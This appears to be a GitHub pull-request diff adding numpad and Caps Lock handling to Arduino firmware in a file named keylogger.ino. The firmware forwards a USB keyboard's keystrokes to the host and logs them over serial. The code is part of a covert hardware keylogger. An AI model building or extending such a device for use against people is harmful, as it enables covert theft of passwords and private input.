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added functionality for numpad and capslock #7

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added functionality for numpad and capslock #7

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69 changes: 61 additions & 8 deletions keylogger/keylogger.ino
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Original file line number Diff line number Diff line change
Expand Up @@ -36,17 +36,56 @@ class KbdRptParser : public KeyboardReportParser{

void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key){
int parsedKey = _parse(key);
if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);

if((key >= 0x59) && (key <= 0x62)){

uint8_t c;
switch(key){
case 0x59: c = '1'; break;
case 0x5A: c = '2'; break;
case 0x5B: c = '3'; break;
case 0x5C: c = '4'; break;
case 0x5D: c = '5'; break;
case 0x5E: c = '6'; break;
case 0x5F: c = '7'; break;
case 0x60: c = '8'; break;
case 0x61: c = '9'; break;
case 0x62: c = '0'; break;
}
OnKeyPressed(c);
if(c != 0x20 && c != 0x00) _press(c);
else _press(key);
_press(c);

}else if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);
OnKeyPressed(c);
if(c != 0x20 && c != 0x00) _press(c);
else _press(key);
}else _press(parsedKey);
}

void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key){
int parsedKey = _parse(key);
if(parsedKey == key){


if((key >= 0x59) && (key <= 0x62)){

uint8_t c;
switch(key){
case 0x59: c = '1'; break;
case 0x5A: c = '2'; break;
case 0x5B: c = '3'; break;
case 0x5C: c = '4'; break;
case 0x5D: c = '5'; break;
case 0x5E: c = '6'; break;
case 0x5F: c = '7'; break;
case 0x60: c = '8'; break;
case 0x61: c = '9'; break;
case 0x62: c = '0'; break;
};
_release(c);
Serial.print(_getChar(key));

} else if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);
OnKeyPressed(c);
if(c != 0x20 && c != 0x00){
Expand Down Expand Up @@ -168,6 +207,9 @@ uint8_t KbdRptParser::_parse(uint8_t key){
case 81: return KEY_DOWN_ARROW; break;
case 82: return KEY_UP_ARROW; break;
case 88: return KEY_RETURN; break;
// Extension for Caps Lock
case 0x39: return KEY_CAPS_LOCK; break;

//=====[DE-Keyboard]=====//
case 0x64: return 236; break; // <
case 0x32: return 92; break; // #
Expand All @@ -178,13 +220,12 @@ uint8_t KbdRptParser::_parse(uint8_t key){
}
}
}

String KbdRptParser::_getChar(uint8_t key){
switch(key){
case 0x2C: return " "; break;
case 40: return "<RETURN>\n"; break;
case 41: return "<ESC>\n"; break;
case 42: return "<BACKSPCAE>"; break;
case 42: return "<BACKSPACE>"; break;
case 43: return "<TAB>\n"; break;
case 58: return "<F1>\n"; break;
case 59: return "<F2>\n"; break;
Expand All @@ -209,6 +250,18 @@ String KbdRptParser::_getChar(uint8_t key){
case 81: return "<DOWN_ARROW>\n"; break;
case 82: return "<UP_ARROW>\n"; break;
case 88: return "<RETURN>\n"; break;
// Extension for NumPad
case 0x59: return "<NUMPAD_1>\n"; break;
case 0x5A: return "<NUMPAD_2>\n"; break;
case 0x5B: return "<NUMPAD_3>\n"; break;
case 0x5C: return "<NUMPAD_4>\n"; break;
case 0x5D: return "<NUMPAD_5>\n"; break;
case 0x5E: return "<NUMPAD_6>\n"; break;
case 0x5F: return "<NUMPAD_7>\n"; break;
case 0x60: return "<NUMPAD_8>\n"; break;
case 0x61: return "<NUMPAD_9>\n"; break;
case 0x62: return "<NUMPAD_0>\n"; break;
case 0x39: return "<CAPS_LOCK>\n"; break;
//=====[DE-Keyboard]=====//
case 0x64: {
if(shift) return "<";
Expand Down Expand Up @@ -250,6 +303,7 @@ void setup()
Serial.begin(115200);
Keyboard.begin();
delay(2000);

/*
for(int i=0;i<256;i++){

Expand All @@ -275,4 +329,3 @@ void setup()
void loop(){
Usb.Task();
}